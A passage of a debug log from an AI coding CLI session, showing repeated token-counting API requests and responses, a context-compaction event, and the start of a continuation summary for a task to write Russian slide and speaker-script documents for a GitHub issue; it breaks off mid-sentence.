\"Linux\",\n[2026-09-29T07:54:37.518Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:54:37.522Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:54:37.525Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:54:37.527Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:54:37.531Z] [STDOUT]   },\n[2026-09-29T07:54:37.533Z] [STDOUT] }\n[2026-09-29T07:54:37.535Z] [STDOUT] [log_749fd7] sending request {\n[2026-09-29T07:54:37.538Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:54:37.540Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:54:37.543Z] [STDOUT]   options: {\n[2026-09-29T07:54:37.545Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:54:37.547Z] [STDOUT]     path: \"/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:54:37.549Z] [STDOUT]     body: {\n[2026-09-29T07:54:37.552Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:54:37.554Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:54:37.556Z] [STDOUT]       tools: [],\n[2026-09-29T07:54:37.558Z] [STDOUT]     },\n[2026-09-29T07:54:37.560Z] [STDOUT]   },\n[2026-09-29T07:54:37.562Z] [STDOUT]   headers: {\n[2026-09-29T07:54:37.565Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:54:37.568Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,context-management-2025-06-27,token-counting-2024-11-01\",\n[2026-09-29T07:54:37.573Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:54:37.578Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:54:37.585Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:54:37.589Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:54:37.592Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:54:37.600Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:54:37.601Z] [STDOUT]     \"x-claude-code-request-class\": \"auxiliary\",\n[2026-09-29T07:54:37.605Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:54:37.607Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:54:37.609Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:54:37.614Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:54:37.617Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:54:37.619Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:54:37.621Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:54:37.624Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:54:37.627Z] [STDOUT]   },\n[2026-09-29T07:54:37.630Z] [STDOUT] }\n[2026-09-29T07:54:37.633Z] [STDOUT] [log_14fa9f] sending request {\n[2026-09-29T07:54:37.638Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:54:37.642Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:54:37.664Z] [STDOUT]   options: {\n[2026-09-29T07:54:37.685Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:54:37.691Z] [STDOUT]     path: \"/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:54:37.692Z] [STDOUT]     body: {\n[2026-09-29T07:54:37.696Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:54:37.703Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:54:37.705Z] [STDOUT]       tools: [],\n[2026-09-29T07:54:37.707Z] [STDOUT]     },\n[2026-09-29T07:54:37.708Z] [STDOUT]   },\n[2026-09-29T07:54:37.711Z] [STDOUT]   headers: {\n[2026-09-29T07:54:37.713Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:54:37.715Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,context-management-2025-06-27,token-counting-2024-11-01\",\n[2026-09-29T07:54:37.717Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:54:37.719Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:54:37.722Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:54:37.724Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:54:37.726Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:54:37.728Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:54:37.729Z] [STDOUT]     \"x-claude-code-request-class\": \"auxiliary\",\n[2026-09-29T07:54:37.731Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:54:37.733Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:54:37.735Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:54:37.736Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:54:37.738Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:54:37.739Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:54:37.740Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:54:37.742Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:54:37.744Z] [STDOUT]   },\n[2026-09-29T07:54:37.745Z] [STDOUT] }\n[2026-09-29T07:54:37.747Z] [STDOUT] [log_e1c021] sending request {\n[2026-09-29T07:54:37.749Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:54:37.750Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:54:37.752Z] [STDOUT]   options: {\n[2026-09-29T07:54:37.753Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:54:37.755Z] [STDOUT]     path: \"/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:54:37.757Z] [STDOUT]     body: {\n[2026-09-29T07:54:37.760Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:54:37.762Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:54:37.764Z] [STDOUT]       tools: [],\n[2026-09-29T07:54:37.766Z] [STDOUT]     },\n[2026-09-29T07:54:37.768Z] [STDOUT]   },\n[2026-09-29T07:54:37.770Z] [STDOUT]   headers: {\n[2026-09-29T07:54:37.772Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:54:37.774Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,context-management-2025-06-27,token-counting-2024-11-01\",\n[2026-09-29T07:54:37.777Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:54:37.779Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:54:37.780Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:54:37.782Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:54:37.784Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:54:37.786Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:54:37.789Z] [STDOUT]     \"x-claude-code-request-class\": \"auxiliary\",\n[2026-09-29T07:54:37.790Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:54:37.794Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:54:37.798Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:54:37.800Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:54:37.822Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:54:37.827Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:54:37.830Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:54:37.837Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:54:37.847Z] [STDOUT]   },\n[2026-09-29T07:54:37.853Z] [STDOUT] }\n[2026-09-29T07:54:37.857Z] [STDOUT] [log_749fd7, request-id: \"req_011CfXNTUbqPjLpsJbWVSEZV\"] post https://api.anthropic.com/v1/messages/count_tokens?beta=true succeeded with status 200 in 301ms\n[2026-09-29T07:54:37.863Z] [STDOUT] [log_749fd7] response start {\n[2026-09-29T07:54:37.869Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:54:37.872Z] [STDOUT]   status: 200,\n[2026-09-29T07:54:37.877Z] [STDOUT]   headers: {\n[2026-09-29T07:54:37.883Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:54:37.885Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:54:37.890Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:54:37.895Z] [STDOUT]     \"cf-ray\": \"a4296bbe7fc95d90-FRA\",\n[2026-09-29T07:54:37.899Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:54:37.905Z] [STDOUT]     \"content-encoding\": \"br\",\n[2026-09-29T07:54:37.910Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:54:37.922Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:54:37.941Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:54:37 GMT\",\n[2026-09-29T07:54:37.946Z] [STDOUT]     \"request-id\": \"req_011CfXNTUbqPjLpsJbWVSEZV\",\n[2026-09-29T07:54:37.949Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:54:37.957Z] [STDOUT]     \"server-timing\": \"x-originResponse;dur=84\",\n[2026-09-29T07:54:37.959Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:54:37.962Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:54:37.964Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:54:37.969Z] [STDOUT]   },\n[2026-09-29T07:54:37.971Z] [STDOUT]   durationMs: 301,\n[2026-09-29T07:54:37.973Z] [STDOUT] }\n[2026-09-29T07:54:37.975Z] [STDOUT] [log_749fd7] response parsed {\n[2026-09-29T07:54:37.979Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:54:37.985Z] [STDOUT]   status: 200,\n[2026-09-29T07:54:37.987Z] [STDOUT]   body: {\n[2026-09-29T07:54:37.989Z] [STDOUT]     input_tokens: 6854,\n[2026-09-29T07:54:37.993Z] [STDOUT]     _request_id: \"req_011CfXNTUbqPjLpsJbWVSEZV\",\n[2026-09-29T07:54:38.001Z] [STDOUT]   },\n[2026-09-29T07:54:38.030Z] [STDOUT]   durationMs: 302,\n[2026-09-29T07:54:38.042Z] [STDOUT] }\n[2026-09-29T07:54:38.065Z] [STDOUT] [log_833ac7, request-id: \"req_011CfXNTULTZacFaZycWxBPH\"] post https://api.anthropic.com/v1/messages/count_tokens?beta=true succeeded with status 200 in 319ms\n[2026-09-29T07:54:38.084Z] [STDOUT] [log_833ac7] response start {\n[2026-09-29T07:54:38.088Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:54:38.099Z] [STDOUT]   status: 200,\n[2026-09-29T07:54:38.107Z] [STDOUT]   headers: {\n[2026-09-29T07:54:38.119Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:54:38.148Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:54:38.151Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:54:38.171Z] [STDOUT]     \"cf-ray\": \"a4296bbdf84b01ff-CDG\",\n[2026-09-29T07:54:38.178Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:54:38.183Z] [STDOUT]     \"content-encoding\": \"br\",\n[2026-09-29T07:54:38.190Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:54:38.194Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:54:38.198Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:54:37 GMT\",\n[2026-09-29T07:54:38.209Z] [STDOUT]     \"request-id\": \"req_011CfXNTULTZacFaZycWxBPH\",\n[2026-09-29T07:54:38.213Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:54:38.218Z] [STDOUT]     \"server-timing\": \"x-originResponse;dur=197\",\n[2026-09-29T07:54:38.222Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:54:38.225Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:54:38.228Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:54:38.237Z] [STDOUT]   },\n[2026-09-29T07:54:38.241Z] [STDOUT]   durationMs: 319,\n[2026-09-29T07:54:38.250Z] [STDOUT] }\n[2026-09-29T07:54:38.259Z] [STDOUT] [log_833ac7] response parsed {\n[2026-09-29T07:54:38.266Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:54:38.268Z] [STDOUT]   status: 200,\n[2026-09-29T07:54:38.270Z] [STDOUT]   body: {\n[2026-09-29T07:54:38.273Z] [STDOUT]     input_tokens: 11855,\n[2026-09-29T07:54:38.277Z] [STDOUT]     _request_id: \"req_011CfXNTULTZacFaZycWxBPH\",\n[2026-09-29T07:54:38.281Z] [STDOUT]   },\n[2026-09-29T07:54:38.283Z] [STDOUT]   durationMs: 320,\n[2026-09-29T07:54:38.289Z] [STDOUT] }\n[2026-09-29T07:54:38.292Z] [STDOUT] [log_a80988, request-id: \"req_011CfXNTV1tUHYrJUma5TtqU\"] post https://api.anthropic.com/v1/messages/count_tokens?beta=true succeeded with status 200 in 396ms\n[2026-09-29T07:54:38.295Z] [STDOUT] [log_a80988] response start {\n[2026-09-29T07:54:38.300Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:54:38.303Z] [STDOUT]   status: 200,\n[2026-09-29T07:54:38.307Z] [STDOUT]   headers: {\n[2026-09-29T07:54:38.313Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:54:38.338Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:54:38.341Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:54:38.346Z] [STDOUT]     \"cf-ray\": \"a4296bbf3b88dc88-FRA\",\n[2026-09-29T07:54:38.351Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:54:38.354Z] [STDOUT]     \"content-encoding\": \"br\",\n[2026-09-29T07:54:38.357Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:54:38.361Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:54:38.364Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:54:37 GMT\",\n[2026-09-29T07:54:38.368Z] [STDOUT]     \"request-id\": \"req_011CfXNTV1tUHYrJUma5TtqU\",\n[2026-09-29T07:54:38.370Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:54:38.372Z] [STDOUT]     \"server-timing\": \"x-originResponse;dur=78\",\n[2026-09-29T07:54:38.375Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:54:38.378Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:54:38.380Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:54:38.385Z] [STDOUT]   },\n[2026-09-29T07:54:38.391Z] [STDOUT]   durationMs: 396,\n[2026-09-29T07:54:38.396Z] [STDOUT] }\n[2026-09-29T07:54:38.401Z] [STDOUT] [log_a80988] response parsed {\n[2026-09-29T07:54:38.409Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:54:38.417Z] [STDOUT]   status: 200,\n[2026-09-29T07:54:38.435Z] [STDOUT]   body: {\n[2026-09-29T07:54:38.448Z] [STDOUT]     input_tokens: 9805,\n[2026-09-29T07:54:38.456Z] [STDOUT]     _request_id: \"req_011CfXNTV1tUHYrJUma5TtqU\",\n[2026-09-29T07:54:38.467Z] [STDOUT]   },\n[2026-09-29T07:54:38.471Z] [STDOUT]   durationMs: 397,\n[2026-09-29T07:54:38.473Z] [STDOUT] }\n[2026-09-29T07:54:38.478Z] [STDOUT] [log_14fa9f, request-id: \"req_011CfXNTV6M7eagkFeFMRHtq\"] post https://api.anthropic.com/v1/messages/count_tokens?beta=true succeeded with status 200 in 410ms\n[2026-09-29T07:54:38.483Z] [STDOUT] [log_14fa9f] response start {\n[2026-09-29T07:54:38.490Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:54:38.493Z] [STDOUT]   status: 200,\n[2026-09-29T07:54:38.497Z] [STDOUT]   headers: {\n[2026-09-29T07:54:38.501Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:54:38.503Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:54:38.506Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:54:38.510Z] [STDOUT]     \"cf-ray\": \"a4296bbf4b1378c0-FRA\",\n[2026-09-29T07:54:38.519Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:54:38.546Z] [STDOUT]     \"content-encoding\": \"br\",\n[2026-09-29T07:54:38.558Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:54:38.564Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:54:38.567Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:54:37 GMT\",\n[2026-09-29T07:54:38.571Z] [STDOUT]     \"request-id\": \"req_011CfXNTV6M7eagkFeFMRHtq\",\n[2026-09-29T07:54:38.574Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:54:38.577Z] [STDOUT]     \"server-timing\": \"x-originResponse;dur=88\",\n[2026-09-29T07:54:38.583Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:54:38.588Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:54:38.592Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:54:38.598Z] [STDOUT]   },\n[2026-09-29T07:54:38.602Z] [STDOUT]   durationMs: 410,\n[2026-09-29T07:54:38.606Z] [STDOUT] }\n[2026-09-29T07:54:38.610Z] [STDOUT] [log_14fa9f] response parsed {\n[2026-09-29T07:54:38.627Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:54:38.633Z] [STDOUT]   status: 200,\n[2026-09-29T07:54:38.641Z] [STDOUT]   body: {\n[2026-09-29T07:54:38.648Z] [STDOUT]     input_tokens: 26140,\n[2026-09-29T07:54:38.658Z] [STDOUT]     _request_id: \"req_011CfXNTV6M7eagkFeFMRHtq\",\n[2026-09-29T07:54:38.682Z] [STDOUT]   },\n[2026-09-29T07:54:38.688Z] [STDOUT]   durationMs: 411,\n[2026-09-29T07:54:38.692Z] [STDOUT] }\n[2026-09-29T07:54:38.698Z] [STDOUT] [log_e1c021, request-id: \"req_011CfXNTVFXu1NdXDkDyWS9h\"] post https://api.anthropic.com/v1/messages/count_tokens?beta=true succeeded with status 200 in 456ms\n[2026-09-29T07:54:38.706Z] [STDOUT] [log_e1c021] response start {\n[2026-09-29T07:54:38.710Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:54:38.714Z] [STDOUT]   status: 200,\n[2026-09-29T07:54:38.742Z] [STDOUT]   headers: {\n[2026-09-29T07:54:38.752Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:54:38.755Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:54:38.764Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:54:38.770Z] [STDOUT]     \"cf-ray\": \"a4296bbf58551e32-FRA\",\n[2026-09-29T07:54:38.776Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:54:38.782Z] [STDOUT]     \"content-encoding\": \"br\",\n[2026-09-29T07:54:38.786Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:54:38.794Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:54:38.800Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:54:37 GMT\",\n[2026-09-29T07:54:38.806Z] [STDOUT]     \"request-id\": \"req_011CfXNTVFXu1NdXDkDyWS9h\",\n[2026-09-29T07:54:38.816Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:54:38.823Z] [STDOUT]     \"server-timing\": \"x-originResponse;dur=110\",\n[2026-09-29T07:54:38.826Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:54:38.836Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:54:38.842Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:54:38.849Z] [STDOUT]   },\n[2026-09-29T07:54:38.853Z] [STDOUT]   durationMs: 456,\n[2026-09-29T07:54:38.860Z] [STDOUT] }\n[2026-09-29T07:54:38.864Z] [STDOUT] [log_e1c021] response parsed {\n[2026-09-29T07:54:38.866Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:54:38.869Z] [STDOUT]   status: 200,\n[2026-09-29T07:54:38.873Z] [STDOUT]   body: {\n[2026-09-29T07:54:38.877Z] [STDOUT]     input_tokens: 26140,\n[2026-09-29T07:54:38.880Z] [STDOUT]     _request_id: \"req_011CfXNTVFXu1NdXDkDyWS9h\",\n[2026-09-29T07:54:38.882Z] [STDOUT]   },\n[2026-09-29T07:54:38.889Z] [STDOUT]   durationMs: 456,\n[2026-09-29T07:54:38.892Z] [STDOUT] }\n[2026-09-29T07:54:38.898Z] [INFO] {\n[2026-09-29T07:54:38.898Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:54:38.898Z] [INFO]   \"subtype\": \"status\",\n[2026-09-29T07:54:38.898Z] [INFO]   \"status\": null,\n[2026-09-29T07:54:38.898Z] [INFO]   \"compact_result\": \"success\",\n[2026-09-29T07:54:38.898Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:54:38.898Z] [INFO]   \"uuid\": \"52906d4a-28e1-4789-bab6-9c2eb0667052\"\n[2026-09-29T07:54:38.898Z] [INFO] }\n[2026-09-29T07:54:38.903Z] [INFO] {\n[2026-09-29T07:54:38.903Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:54:38.903Z] [INFO]   \"subtype\": \"compact_boundary\",\n[2026-09-29T07:54:38.903Z] [INFO]   \"uuid\": \"f0b87cc1-424d-45b2-aba5-d3a8c3f1fbb4\",\n[2026-09-29T07:54:38.903Z] [INFO]   \"compact_metadata\": {\n[2026-09-29T07:54:38.903Z] [INFO]     \"trigger\": \"auto\",\n[2026-09-29T07:54:38.903Z] [INFO]     \"pre_tokens\": 124719,\n[2026-09-29T07:54:38.903Z] [INFO]     \"post_tokens\": 10665,\n[2026-09-29T07:54:38.903Z] [INFO]     \"cumulative_dropped_tokens\": 222015,\n[2026-09-29T07:54:38.903Z] [INFO]     \"duration_ms\": 48857,\n[2026-09-29T07:54:38.903Z] [INFO]     \"preserved_segment\": {\n[2026-09-29T07:54:38.903Z] [INFO]       \"head_uuid\": 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\"role\": \"user\",\n[2026-09-29T07:54:38.915Z] [INFO]     \"content\": [\n[2026-09-29T07:54:38.915Z] [INFO]       {\n[2026-09-29T07:54:38.915Z] [INFO]         \"type\": \"text\",\n[2026-09-29T07:54:38.915Z] [INFO]         \"text\": \"This session is being continued from a previous conversation that ran out of context. The summary below covers the earlier portion of the conversation.\\n\\nSummary:\\n1. **Primary Request and Intent**\\n   - Resolve issue https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646.\\n   - Working directory: /tmp/gh-issue-solver-1790667776920. Branch: `issue-646-497e337ac092`. Existing draft PR: #648.\\n   - Mode: Creative, Documentation/Presentation, for the Head of AI development at Mango.\\n   - Deliver two linked Markdown documents in Russian:\\n     - **Doc 1, slide template.** Must cover 7 meaning blocks: scope, pain, meta-model Product\u2192Process\u2192Operation\u2192Artifact, the breakthrough (cognitive operations are digitized into strict prompts plus machine-readable contracts with fail-closed checks), the pipeline, the runtime (pilot on the BA workstation with GigaCode CLI/Cline \u2192 server Environment 4 with a single orchestrator core), and scaling. Each slide needs a number, an assertion headline, 3\u20135 bullets, a highlighted quote or metric, and a Midjourney/DALL-E prompt.\\n     - **Doc 2, speaker script.** Synced to the slide numbers. It explains \\\"why\\\" and \\\"how\\\", adds bridges between slides, stresses the empirical base (60+ runs in mango_ba_prompts), and answers likely questions from a technical leader.\\n   - Definition of Done:\\n     - The evolution from the prompt repository to the Hub meta-model is visible.\\n     - Assertion-Evidence style, no filler or marketing.\\n     - All repository links are full absolute URLs.\\n     - Task moved to review (mark PR #648 ready).\\n   - Micromanagement is forbidden; the executor decides the wording.\\n   - Solver-system rules:\\n     - Commit atomic steps and push only to `issue-646-497e337ac092`.\\n     - Update PR #648 with `gh pr edit`, then run `gh pr ready 648`.\\n     - Remove the `.gitkeep` from the initial commit.\\n     - Run local validators before committing.\\n     - Check CI and the latest comments on the issue and PR.\\n     - Keep any experiment scripts in ./experiments.\\n\\n2. **Key Technical Concepts**\\n\\n   *Repository rules*\\n   - Placement: `projects/*/docs/*` is allowed by `validate-repository-structure.sh` (the `is_active_file` pattern). A new folder `projects/ba-ai-process/docs/presentation/` gets the \\\"default\\\" class in `validate-frontmatter.sh`.\\n   - Default-class allowed frontmatter keys: status, version, updated, temperature, executable, entrypoint, source, based_on, author, session, self-report, scope, type, context, method, related_artifacts, related_issues.\\n   - Never use `ai-generated`.\\n   - File naming is only validated in `research`, `docs/analysis`, `docs/report`, `docs/audit` and `docs/adr` at the Hub root, so the `presentation/` names are fine.\\n   - Do not touch `standards/` or root `docs/adr`, and do not create `docs/contracts/`.\\n   - Validators:\\n     - `tools/test-*.sh`\\n     - `./tools/validate-frontmatter.sh .`\\n     - `./tools/validate-file-naming.sh`\\n     - `./tools/validate-repository-structure.sh`\\n     - `./tools/validate-rrp-links.sh`\\n     - `python3 tools/generate-manifest.py --check`\\n   - CONTRIBUTING: update navigation (`projects/ba-ai-process/README.md`), and possibly CHANGELOG.md and `ops/artifact-map.md`.\\n   - PR body under hybrid_work rules must list gaps, the strategic risk and backlog proposals.\\n\\n   *Verified facts: mango_ba_prompts*\\n   - 583 commits, 2026-06-02 \u2192 2026-09-28.\\n   - 69 runs, RUN-0001\u2026RUN-0069, with run dates 2026-04-10 \u2192 2026-09-28.\\n   - Early runs used the Qwen web chat; later runs used the AI solver.\\n   - Evolution:\\n     - Jun 11: commit d8a4759 split one draft prompt \\\"\u041f\u0440\u043e\u043c\u043f\u0442+\u0434\u043b\u044f+\u0411\u0410\\\" into 23 standardized files.\\n     - Experiment 1027 (`docs/analysis/experiment-1027-analysis.md`): prompt edits were rolled back, and prompts now change only via experiment.\\n     - August: README admits \\\"evals \u0438 golden-set \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442\\\".\\n   - A/B study (`docs/report/2026-09-01-run-0065-vs-0066-ab-rca.md`), RUN-0065 gpt-5.6-sol vs RUN-0066 claude-opus-5:\\n\\n     | Measure | RUN-0065 | RUN-0066 |\\n     |---|---|---|\\n     | Correct verdicts | 31/65 = 47.7% | 100% |\\n     | Correct pages | 17/45 = 37.8% | 64/64 |\\n     | Hallucinated pages | 28/65 = 43.1% | 0% |\\n\\n     Cause: a 